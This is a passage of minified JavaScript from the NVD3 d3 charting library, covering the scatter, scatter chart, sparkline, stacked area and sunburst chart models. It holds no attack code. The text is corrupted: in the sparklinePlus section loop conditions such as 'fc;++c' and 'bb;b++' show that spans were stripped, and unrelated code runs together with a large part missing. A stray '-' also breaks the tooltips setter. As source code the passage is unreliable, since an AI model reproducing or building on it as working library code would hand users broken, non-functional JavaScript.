a.size}).concat(v))).range(J||Q),K=m.domain()[0]===m.domain()[1]||n.domain()[0]===n.domain()[1],m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]-.01*m.domain()[0],m.domain()[1]+.01*m.domain()[1]]:[-1,1]),n.domain()[0]===n.domain()[1]&&n.domain(n.domain()[0]?[n.domain()[0]-.01*n.domain()[0],n.domain()[1]+.01*n.domain()[1]]:[-1,1]),isNaN(m.domain()[0])&&m.domain([-1,1]),isNaN(n.domain()[0])&&n.domain([-1,1]),c=c||m,d=d||n,e=e||o;var U=l.selectAll("g.nv-wrap.nv-scatter").data([b]),V=U.enter().append("g").attr("class","nvd3 nv-wrap nv-scatter nv-chart-"+k),W=V.append("defs"),X=V.append("g"),Y=U.select("g");U.classed("nv-single-point",K),X.append("g").attr("class","nv-groups"),X.append("g").attr("class","nv-point-paths"),V.append("g").attr("class","nv-point-clips"),U.attr("transform","translate("+g.left+","+g.top+")"),W.append("clipPath").attr("id","nv-edge-clip-"+k).append("rect"),U.select("#nv-edge-clip-"+k+" rect").attr("width",R).attr("height",S>0?S:0),Y.attr("clip-path",A?"url(#nv-edge-clip-"+k+")":""),O=!0;var Z=U.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});Z.enter().append("g").style("stroke-opacity",1e-6).style("fill-opacity",1e-6),Z.exit().remove(),Z.attr("class",function(a,b){return"nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}),Z.watchTransition(P,"scatter: groups").style("fill",function(a,b){return j(a,b)}).style("stroke",function(a,b){return j(a,b)}).style("stroke-opacity",1).style("fill-opacity",.5);var $=Z.selectAll("path.nv-point").data(function(a){return a.values.map(function(a,b){return[a,b]}).filter(function(a,b){return x(a[0],b)})});$.enter().append("path").style("fill",function(a){return a.color}).style("stroke",function(a){return a.color}).attr("transform",function(a){return"translate("+c(p(a[0],a[1]))+","+d(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),$.exit().remove(),Z.exit().selectAll("path.nv-point").watchTransition(P,"scatter exit").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).remove(),$.each(function(a){d3.select(this).classed("nv-point",!0).classed("nv-point-"+a[1],!0).classed("nv-noninteractive",!w).classed("hover",!1)}),$.watchTransition(P,"scatter points").attr("transform",function(a){return"translate("+m(p(a[0],a[1]))+","+n(q(a[0],a[1]))+")"}).attr("d",a.utils.symbol().type(function(a){return s(a[0])}).size(function(a){return o(r(a[0],a[1]))})),clearTimeout(f),f=setTimeout(N,300),c=m.copy(),d=n.copy(),e=o.copy()}),P.renderEnd("scatter immediate"),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=a.utils.defaultColor(),k=Math.floor(1e5*Math.random()),l=null,m=d3.scale.linear(),n=d3.scale.linear(),o=d3.scale.linear(),p=function(a){return a.x},q=function(a){return a.y},r=function(a){return a.size||1},s=function(a){return a.shape||"circle"},t=[],u=[],v=[],w=!0,x=function(a){return!a.notActive},y=!1,z=.1,A=!1,B=!0,C=!1,D=function(){return 25},E=null,F=null,G=null,H=null,I=null,J=null,K=!1,L=d3.dispatch("elementClick","elementDblClick","elementMouseover","elementMouseout","renderEnd"),M=!0,N=250,O=!1,P=a.utils.renderWatch(L,N),Q=[16,256];return b.dispatch=L,b.options=a.utils.optionsFunc.bind(b),b._calls=new function(){this.clearHighlights=function(){return a.dom.write(function(){l.selectAll(".nv-point.hover").classed("hover",!1)}),null},this.highlightPoint=function(b,c,d){a.dom.write(function(){l.select(" .nv-series-"+b+" .nv-point-"+c).classed("hover",d)})}},L.on("elementMouseover.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!0)}),L.on("elementMouseout.point",function(a){w&&b._calls.highlightPoint(a.seriesIndex,a.pointIndex,!1)}),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return m},set:function(a){m=a}},yScale:{get:function(){return n},set:function(a){n=a}},pointScale:{get:function(){return o},set:function(a){o=a}},xDomain:{get:function(){return E},set:function(a){E=a}},yDomain:{get:function(){return F},set:function(a){F=a}},pointDomain:{get:function(){return I},set:function(a){I=a}},xRange:{get:function(){return G},set:function(a){G=a}},yRange:{get:function(){return H},set:function(a){H=a}},pointRange:{get:function(){return J},set:function(a){J=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},forcePoint:{get:function(){return v},set:function(a){v=a}},interactive:{get:function(){return w},set:function(a){w=a}},pointActive:{get:function(){return x},set:function(a){x=a}},padDataOuter:{get:function(){return z},set:function(a){z=a}},padData:{get:function(){return y},set:function(a){y=a}},clipEdge:{get:function(){return A},set:function(a){A=a}},clipVoronoi:{get:function(){return B},set:function(a){B=a}},clipRadius:{get:function(){return D},set:function(a){D=a}},showVoronoi:{get:function(){return C},set:function(a){C=a}},id:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return p},set:function(a){p=d3.functor(a)}},y:{get:function(){return q},set:function(a){q=d3.functor(a)}},pointSize:{get:function(){return r},set:function(a){r=d3.functor(a)}},pointShape:{get:function(){return s},set:function(a){s=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},duration:{get:function(){return N},set:function(a){N=a,P.reset(N)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},useVoronoi:{get:function(){return M},set:function(a){M=a,M===!1&&(B=!1)}}}),a.utils.initOptions(b),b},a.models.scatterChart=function(){"use strict";function b(z){return D.reset(),D.models(c),t&&D.models(d),u&&D.models(e),q&&D.models(g),r&&D.models(h),z.each(function(z){m=d3.select(this),a.utils.initSVG(m);var G=a.utils.availableWidth(k,m,j),H=a.utils.availableHeight(l,m,j);if(b.update=function(){0===A?m.call(b):m.transition().duration(A).call(b)},b.container=this,w.setter(F(z),b.update).getter(E(z)).update(),w.disabled=z.map(function(a){return!!a.disabled}),!x){var I;x={};for(I in w)x[I]=w[I]instanceof Array?w[I].slice(0):w[I]}if(!(z&&z.length&&z.filter(function(a){return a.values.length}).length))return a.utils.noData(b,m),D.renderEnd("scatter immediate"),b;m.selectAll(".nv-noData").remove(),o=c.xScale(),p=c.yScale();var J=m.selectAll("g.nv-wrap.nv-scatterChart").data([z]),K=J.enter().append("g").attr("class","nvd3 nv-wrap nv-scatterChart nv-chart-"+c.id()),L=K.append("g"),M=J.select("g");if(L.append("rect").attr("class","nvd3 nv-background").style("pointer-events","none"),L.append("g").attr("class","nv-x nv-axis"),L.append("g").attr("class","nv-y nv-axis"),L.append("g").attr("class","nv-scatterWrap"),L.append("g").attr("class","nv-regressionLinesWrap"),L.append("g").attr("class","nv-distWrap"),L.append("g").attr("class","nv-legendWrap"),v&&M.select(".nv-y.nv-axis").attr("transform","translate("+G+",0)"),s){var N=G;f.width(N),J.select(".nv-legendWrap").datum(z).call(f),j.top!=f.height()&&(j.top=f.height(),H=a.utils.availableHeight(l,m,j)),J.select(".nv-legendWrap").attr("transform","translate(0,"+-j.top+")")}J.attr("transform","translate("+j.left+","+j.top+")"),c.width(G).height(H).color(z.map(function(a,b){return a.color=a.color||n(a,b),a.color}).filter(function(a,b){return!z[b].disabled})),J.select(".nv-scatterWrap").datum(z.filter(function(a){return!a.disabled})).call(c),J.select(".nv-regressionLinesWrap").attr("clip-path","url(#nv-edge-clip-"+c.id()+")");var O=J.select(".nv-regressionLinesWrap").selectAll(".nv-regLines").data(function(a){return a});O.enter().append("g").attr("class","nv-regLines");var P=O.selectAll(".nv-regLine").data(function(a){return[a]});P.enter().append("line").attr("class","nv-regLine").style("stroke-opacity",0),P.filter(function(a){return a.intercept&&a.slope}).watchTransition(D,"scatterPlusLineChart: regline").attr("x1",o.range()[0]).attr("x2",o.range()[1]).attr("y1",function(a){return p(o.domain()[0]*a.slope+a.intercept)}).attr("y2",function(a){return p(o.domain()[1]*a.slope+a.intercept)}).style("stroke",function(a,b,c){return n(a,c)}).style("stroke-opacity",function(a){return a.disabled||"undefined"==typeof a.slope||"undefined"==typeof a.intercept?0:1}),t&&(d.scale(o)._ticks(a.utils.calcTicksX(G/100,z)).tickSize(-H,0),M.select(".nv-x.nv-axis").attr("transform","translate(0,"+p.range()[0]+")").call(d)),u&&(e.scale(p)._ticks(a.utils.calcTicksY(H/36,z)).tickSize(-G,0),M.select(".nv-y.nv-axis").call(e)),q&&(g.getData(c.x()).scale(o).width(G).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionX"),M.select(".nv-distributionX").attr("transform","translate(0,"+p.range()[0]+")").datum(z.filter(function(a){return!a.disabled})).call(g)),r&&(h.getData(c.y()).scale(p).width(H).color(z.map(function(a,b){return a.color||n(a,b)}).filter(function(a,b){return!z[b].disabled})),L.select(".nv-distWrap").append("g").attr("class","nv-distributionY"),M.select(".nv-distributionY").attr("transform","translate("+(v?G:-h.size())+",0)").datum(z.filter(function(a){return!a.disabled})).call(h)),f.dispatch.on("stateChange",function(a){for(var c in a)w[c]=a[c];y.stateChange(w),b.update()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&(z.forEach(function(b,c){b.disabled=a.disabled[c]}),w.disabled=a.disabled),b.update()}),c.dispatch.on("elementMouseout.tooltip",function(a){i.hidden(!0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",0),m.select(".nv-chart-"+c.id()+" .nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",h.size())}),c.dispatch.on("elementMouseover.tooltip",function(a){m.select(".nv-series-"+a.seriesIndex+" .nv-distx-"+a.pointIndex).attr("y1",a.pos.top-H-j.top),m.select(".nv-series-"+a.seriesIndex+" .nv-disty-"+a.pointIndex).attr("x2",a.pos.left+g.size()-j.left),i.position(a.pos).data(a).hidden(!1)}),B=o.copy(),C=p.copy()}),D.renderEnd("scatter with line immediate"),b}var c=a.models.scatter(),d=a.models.axis(),e=a.models.axis(),f=a.models.legend(),g=a.models.distribution(),h=a.models.distribution(),i=a.models.tooltip(),j={top:30,right:20,bottom:50,left:75},k=null,l=null,m=null,n=a.utils.defaultColor(),o=c.xScale(),p=c.yScale(),q=!1,r=!1,s=!0,t=!0,u=!0,v=!1,w=a.utils.state(),x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=null,A=250;c.xScale(o).yScale(p),d.orient("bottom").tickPadding(10),e.orient(v?"right":"left").tickPadding(10),g.axis("x"),h.axis("y"),i.headerFormatter(function(a,b){return d.tickFormat()(a,b)}).valueFormatter(function(a,b){return e.tickFormat()(a,b)});var B,C,D=a.utils.renderWatch(y,A),E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return b.dispatch=y,b.scatter=c,b.legend=f,b.xAxis=d,b.yAxis=e,b.distX=g,b.distY=h,b.tooltip=i,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return k},set:function(a){k=a}},height:{get:function(){return l},set:function(a){l=a}},container:{get:function(){return m},set:function(a){m=a}},showDistX:{get:function(){return q},set:function(a){q=a}},showDistY:{get:function(){return r},set:function(a){r=a}},showLegend:{get:function(){return s},set:function(a){s=a}},showXAxis:{get:function(){return t},set:function(a){t=a}},showYAxis:{get:function(){return u},set:function(a){u=a}},defaultState:{get:function(){return x},set:function(a){x=a}},noData:{get:function(){return z},set:function(a){z=a}},duration:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return i.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),i.enabled(!!b) -}},tooltipContent:{get:function(){return i.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),i.contentGenerator(b)}},tooltipXContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},tooltipYContent:{get:function(){return i.contentGenerator()},set:function(){a.deprecated("tooltipContent","This option is removed, put values into main tooltip.")}},margin:{get:function(){return j},set:function(a){j.top=void 0!==a.top?a.top:j.top,j.right=void 0!==a.right?a.right:j.right,j.bottom=void 0!==a.bottom?a.bottom:j.bottom,j.left=void 0!==a.left?a.left:j.left}},rightAlignYAxis:{get:function(){return v},set:function(a){v=a,e.orient(a?"right":"left")}},color:{get:function(){return n},set:function(b){n=a.utils.getColor(b),f.color(n),g.color(n),h.color(n)}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.sparkline=function(){"use strict";function b(k){return k.each(function(b){var k=h-g.left-g.right,q=i-g.top-g.bottom;j=d3.select(this),a.utils.initSVG(j),l.domain(c||d3.extent(b,n)).range(e||[0,k]),m.domain(d||d3.extent(b,o)).range(f||[q,0]);{var r=j.selectAll("g.nv-wrap.nv-sparkline").data([b]),s=r.enter().append("g").attr("class","nvd3 nv-wrap nv-sparkline");s.append("g"),r.select("g")}r.attr("transform","translate("+g.left+","+g.top+")");var t=r.selectAll("path").data(function(a){return[a]});t.enter().append("path"),t.exit().remove(),t.style("stroke",function(a,b){return a.color||p(a,b)}).attr("d",d3.svg.line().x(function(a,b){return l(n(a,b))}).y(function(a,b){return m(o(a,b))}));var u=r.selectAll("circle.nv-point").data(function(a){function b(b){if(-1!=b){var c=a[b];return c.pointIndex=b,c}return null}var c=a.map(function(a,b){return o(a,b)}),d=b(c.lastIndexOf(m.domain()[1])),e=b(c.indexOf(m.domain()[0])),f=b(c.length-1);return[e,d,f].filter(function(a){return null!=a})});u.enter().append("circle"),u.exit().remove(),u.attr("cx",function(a){return l(n(a,a.pointIndex))}).attr("cy",function(a){return m(o(a,a.pointIndex))}).attr("r",2).attr("class",function(a){return n(a,a.pointIndex)==l.domain()[1]?"nv-point nv-currentValue":o(a,a.pointIndex)==m.domain()[0]?"nv-point nv-minValue":"nv-point nv-maxValue"})}),b}var c,d,e,f,g={top:2,right:0,bottom:2,left:0},h=400,i=32,j=null,k=!0,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=a.utils.getColor(["#000"]);return b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},animate:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return n},set:function(a){n=d3.functor(a)}},y:{get:function(){return o},set:function(a){o=d3.functor(a)}},margin:{get:function(){return g},set:function(a){g.top=void 0!==a.top?a.top:g.top,g.right=void 0!==a.right?a.right:g.right,g.bottom=void 0!==a.bottom?a.bottom:g.bottom,g.left=void 0!==a.left?a.left:g.left}},color:{get:function(){return p},set:function(b){p=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sparklinePlus=function(){"use strict";function b(p){return p.each(function(p){function q(){if(!j){var a=z.selectAll(".nv-hoverValue").data(i),b=a.enter().append("g").attr("class","nv-hoverValue").style("stroke-opacity",0).style("fill-opacity",0);a.exit().transition().duration(250).style("stroke-opacity",0).style("fill-opacity",0).remove(),a.attr("transform",function(a){return"translate("+c(e.x()(p[a],a))+",0)"}).transition().duration(250).style("stroke-opacity",1).style("fill-opacity",1),i.length&&(b.append("line").attr("x1",0).attr("y1",-f.top).attr("x2",0).attr("y2",u),b.append("text").attr("class","nv-xValue").attr("x",-6).attr("y",-f.top).attr("text-anchor","end").attr("dy",".9em"),z.select(".nv-hoverValue .nv-xValue").text(k(e.x()(p[i[0]],i[0]))),b.append("text").attr("class","nv-yValue").attr("x",6).attr("y",-f.top).attr("text-anchor","start").attr("dy",".9em"),z.select(".nv-hoverValue .nv-yValue").text(l(e.y()(p[i[0]],i[0]))))}}function r(){function a(a,b){for(var c=Math.abs(e.x()(a[0],0)-b),d=0,f=0;fc;++c){for(b=0,d=0;bb;b++)a[b][c][1]/=d;else for(b=0;e>b;b++)a[b][c][1]=0}for(c=0;f>c;++c)g[c]=0;return g}}),u.renderEnd("stackedArea immediate"),b}var c,d,e={top:0,right:0,bottom:0,left:0},f=960,g=500,h=a.utils.defaultColor(),i=Math.floor(1e5*Math.random()),j=null,k=function(a){return a.x},l=function(a){return a.y},m="stack",n="zero",o="default",p="linear",q=!1,r=a.models.scatter(),s=250,t=d3.dispatch("areaClick","areaMouseover","areaMouseout","renderEnd","elementClick","elementMouseover","elementMouseout");r.pointSize(2.2).pointDomain([2.2,2.2]);var u=a.utils.renderWatch(t,s);return b.dispatch=t,b.scatter=r,r.dispatch.on("elementClick",function(){t.elementClick.apply(this,arguments)}),r.dispatch.on("elementMouseover",function(){t.elementMouseover.apply(this,arguments)}),r.dispatch.on("elementMouseout",function(){t.elementMouseout.apply(this,arguments)}),b.interpolate=function(a){return arguments.length?(p=a,b):p},b.duration=function(a){return arguments.length?(s=a,u.reset(s),r.duration(s),b):s},b.dispatch=t,b.scatter=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return f},set:function(a){f=a}},height:{get:function(){return g},set:function(a){g=a}},clipEdge:{get:function(){return q},set:function(a){q=a}},offset:{get:function(){return n},set:function(a){n=a}},order:{get:function(){return o},set:function(a){o=a}},interpolate:{get:function(){return p},set:function(a){p=a}},x:{get:function(){return k},set:function(a){k=d3.functor(a)}},y:{get:function(){return l},set:function(a){l=d3.functor(a)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return h},set:function(b){h=a.utils.getColor(b)}},style:{get:function(){return m},set:function(a){switch(m=a){case"stack":b.offset("zero"),b.order("default");break;case"stream":b.offset("wiggle"),b.order("inside-out");break;case"stream-center":b.offset("silhouette"),b.order("inside-out");break;case"expand":b.offset("expand"),b.order("default");break;case"stack_percent":b.offset(b.d3_stackedOffset_stackPercent),b.order("default")}}},duration:{get:function(){return s},set:function(a){s=a,u.reset(s),r.duration(s)}}}),a.utils.inheritOptions(b,r),a.utils.initOptions(b),b},a.models.stackedAreaChart=function(){"use strict";function b(k){return F.reset(),F.models(e),r&&F.models(f),s&&F.models(g),k.each(function(k){var x=d3.select(this),F=this;a.utils.initSVG(x);var K=a.utils.availableWidth(m,x,l),L=a.utils.availableHeight(n,x,l);if(b.update=function(){x.transition().duration(C).call(b)},b.container=this,v.setter(I(k),b.update).getter(H(k)).update(),v.disabled=k.map(function(a){return!!a.disabled}),!w){var M;w={};for(M in v)w[M]=v[M]instanceof Array?v[M].slice(0):v[M]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(b,x),b;x.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var N=x.selectAll("g.nv-wrap.nv-stackedAreaChart").data([k]),O=N.enter().append("g").attr("class","nvd3 nv-wrap nv-stackedAreaChart").append("g"),P=N.select("g");if(O.append("rect").style("opacity",0),O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y nv-axis"),O.append("g").attr("class","nv-stackedWrap"),O.append("g").attr("class","nv-legendWrap"),O.append("g").attr("class","nv-controlsWrap"),O.append("g").attr("class","nv-interactive"),P.select("rect").attr("width",K).attr("height",L),q){var Q=p?K-z:K;h.width(Q),P.select(".nv-legendWrap").datum(k).call(h),l.top!=h.height()&&(l.top=h.height(),L=a.utils.availableHeight(n,x,l)),P.select(".nv-legendWrap").attr("transform","translate("+(K-Q)+","+-l.top+")")}if(p){var R=[{key:B.stacked||"Stacked",metaKey:"Stacked",disabled:"stack"!=e.style(),style:"stack"},{key:B.stream||"Stream",metaKey:"Stream",disabled:"stream"!=e.style(),style:"stream"},{key:B.expanded||"Expanded",metaKey:"Expanded",disabled:"expand"!=e.style(),style:"expand"},{key:B.stack_percent||"Stack %",metaKey:"Stack_Percent",disabled:"stack_percent"!=e.style(),style:"stack_percent"}];z=A.length/3*260,R=R.filter(function(a){return-1!==A.indexOf(a.metaKey)}),i.width(z).color(["#444","#444","#444"]),P.select(".nv-controlsWrap").datum(R).call(i),l.top!=Math.max(i.height(),h.height())&&(l.top=Math.max(i.height(),h.height()),L=a.utils.availableHeight(n,x,l)),P.select(".nv-controlsWrap").attr("transform","translate(0,"+-l.top+")")}N.attr("transform","translate("+l.left+","+l.top+")"),t&&P.select(".nv-y.nv-axis").attr("transform","translate("+K+",0)"),u&&(j.width(K).height(L).margin({left:l.left,top:l.top}).svgContainer(x).xScale(c),N.select(".nv-interactive").call(j)),e.width(K).height(L);var S=P.select(".nv-stackedWrap").datum(k);if(S.transition().call(e),r&&(f.scale(c)._ticks(a.utils.calcTicksX(K/100,k)).tickSize(-L,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+L+")"),P.select(".nv-x.nv-axis").transition().duration(0).call(f)),s){var T;if(T="wiggle"===e.offset()?0:a.utils.calcTicksY(L/36,k),g.scale(d)._ticks(T).tickSize(-K,0),"expand"===e.style()||"stack_percent"===e.style()){var U=g.tickFormat();D&&U===J||(D=U),g.tickFormat(J)}else D&&(g.tickFormat(D),D=null);P.select(".nv-y.nv-axis").transition().duration(0).call(g)}e.dispatch.on("areaClick.toggle",function(a){k.forEach(1===k.filter(function(a){return!a.disabled}).length?function(a){a.disabled=!1}:function(b,c){b.disabled=c!=a.seriesIndex}),v.disabled=k.map(function(a){return!!a.disabled}),y.stateChange(v),b.update()}),h.dispatch.on("stateChange",function(a){for(var c in a)v[c]=a[c];y.stateChange(v),b.update()}),i.dispatch.on("legendClick",function(a){a.disabled&&(R=R.map(function(a){return a.disabled=!0,a}),a.disabled=!1,e.style(a.style),v.style=e.style(),y.stateChange(v),b.update())}),j.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,g,h,i=[];if(k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,j){g=a.interactiveBisect(f.values,c.pointXValue,b.x());var k=f.values[g],l=b.y()(k,g);if(null!=l&&e.highlightPoint(j,g,!0),"undefined"!=typeof k){"undefined"==typeof d&&(d=k),"undefined"==typeof h&&(h=b.xScale()(b.x()(k,g)));var m="expand"==e.style()?k.display.y:b.y()(k,g);i.push({key:f.key,value:m,color:o(f,f.seriesIndex),stackedValue:k.display})}}),i.reverse(),i.length>2){var m=b.yScale().invert(c.mouseY),n=null;i.forEach(function(a,b){m=Math.abs(m);var c=Math.abs(a.stackedValue.y0),d=Math.abs(a.stackedValue.y);return m>=c&&d+c>=m?void(n=b):void 0}),null!=n&&(i[n].highlight=!0)}var p=f.tickFormat()(b.x()(d,g)),q=j.tooltip.valueFormatter();"expand"===e.style()||"stack_percent"===e.style()?(E||(E=q),q=d3.format(".1%")):E&&(q=E,E=null),j.tooltip.position({left:h+l.left,top:c.mouseY+l.top}).chartContainer(F.parentNode).valueFormatter(q).data({value:p,series:i})(),j.renderGuideLine(h)}),j.dispatch.on("elementMouseout",function(){e.clearHighlights()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&k.length===a.disabled.length&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),v.disabled=a.disabled),"undefined"!=typeof a.style&&(e.style(a.style),G=a.style),b.update()})}),F.renderEnd("stacked Area chart immediate"),b}var c,d,e=a.models.stackedArea(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:25,bottom:50,left:60},m=null,n=null,o=a.utils.defaultColor(),p=!0,q=!0,r=!0,s=!0,t=!1,u=!1,v=a.utils.state(),w=null,x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=250,A=["Stacked","Stream","Expanded"],B={},C=250;v.style=e.style(),f.orient("bottom").tickPadding(7),g.orient(t?"right":"left"),k.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)}),j.tooltip.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)});var D=null,E=null;i.updateState(!1);var F=a.utils.renderWatch(y),G=e.style(),H=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),style:e.style()}}},I=function(a){return function(b){void 0!==b.style&&(G=b.style),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},J=d3.format("%");return e.dispatch.on("elementMouseover.tooltip",function(a){a.point.x=e.x()(a.point),a.point.y=e.y()(a.point),k.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),b.dispatch=y,b.stacked=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.interactiveLayer=j,b.tooltip=k,b.dispatch=y,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return w},set:function(a){w=a}},noData:{get:function(){return x},set:function(a){x=a}},showControls:{get:function(){return p},set:function(a){p=a}},controlLabels:{get:function(){return B},set:function(a){B=a}},controlOptions:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},duration:{get:function(){return C},set:function(a){C=a,F.reset(C),e.duration(C),f.duration(C),g.duration(C)}},color:{get:function(){return o},set:function(b){o=a.utils.getColor(b),h.color(o),e.color(o)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},useInteractiveGuideline:{get:function(){return u},set:function(a){u=!!a,b.interactive(!a),b.useVoronoi(!a),e.scatter.interactive(!a)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.sunburst=function(){"use strict";function b(u){return t.reset(),u.each(function(b){function t(a){a.x0=a.x,a.dx0=a.dx}function u(a){var b=d3.interpolate(p.domain(),[a.x,a.x+a.dx]),c=d3.interpolate(q.domain(),[a.y,1]),d=d3.interpolate(q.range(),[a.y?20:0,y]);return function(a,e){return e?function(){return s(a)}:function(e){return p.domain(b(e)),q.domain(c(e)).range(d(e)),s(a)}}}l=d3.select(this);var v,w=a.utils.availableWidth(g,l,f),x=a.utils.availableHeight(h,l,f),y=Math.min(w,x)/2;a.utils.initSVG(l);var z=l.selectAll(".nv-wrap.nv-sunburst").data(b),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburst nv-chart-"+k),B=A.selectAll("nv-sunburst");z.attr("transform","translate("+w/2+","+x/2+")"),l.on("click",function(a,b){o.chartClick({data:a,index:b,pos:d3.event,id:k})}),q.range([0,y]),c=c||b,e=b[0],r.value(j[i]||j.count),v=B.data(r.nodes).enter().append("path").attr("d",s).style("fill",function(a){return m((a.children?a:a.parent).name)}).style("stroke","#FFF").on("click",function(a){d!==c&&c!==a&&(d=c),c=a,v.transition().duration(n).attrTween("d",u(a))}).each(t).on("dblclick",function(a){d.parent==a&&v.transition().duration(n).attrTween("d",u(e))}).each(t).on("mouseover",function(a){d3.select(this).classed("hover",!0).style("opacity",.8),o.elementMouseover({data:a,color:d3.select(this).style("fill")})}).on("mouseout",function(a){d3.select(this).classed("hover",!1).style("opacity",1),o.elementMouseout({data:a})}).on("mousemove",function(a){o.elementMousemove({data:a})})}),t.renderEnd("sunburst immediate"),b}var c,d,e,f={top:0,right:0,bottom:0,left:0},g=null,h=null,i="count",j={count:function(){return 1},size:function(a){return a.size}},k=Math.floor(1e4*Math.random()),l=null,m=a.utils.defaultColor(),n=500,o=d3.dispatch("chartClick","elementClick","elementDblClick","elementMousemove","elementMouseover","elementMouseout","renderEnd"),p=d3.scale.linear().range([0,2*Math.PI]),q=d3.scale.sqrt(),r=d3.layout.partition().sort(null).value(function(){return 1}),s=d3.svg.arc().startAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x)))}).endAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x+a.dx)))}).innerRadius(function(a){return Math.max(0,q(a.y))}).outerRadius(function(a){return Math.max(0,q(a.y+a.dy))}),t=a.utils.renderWatch(o);return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},mode:{get:function(){return i},set:function(a){i=a}},id:{get:function(){return k},set:function(a){k=a}},duration:{get:function(){return n},set:function(a){n=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!=a.top?a.top:f.top,f.right=void 0!=a.right?a.right:f.right,f.bottom=void 0!=a.bottom?a.bottom:f.bottom,f.left=void 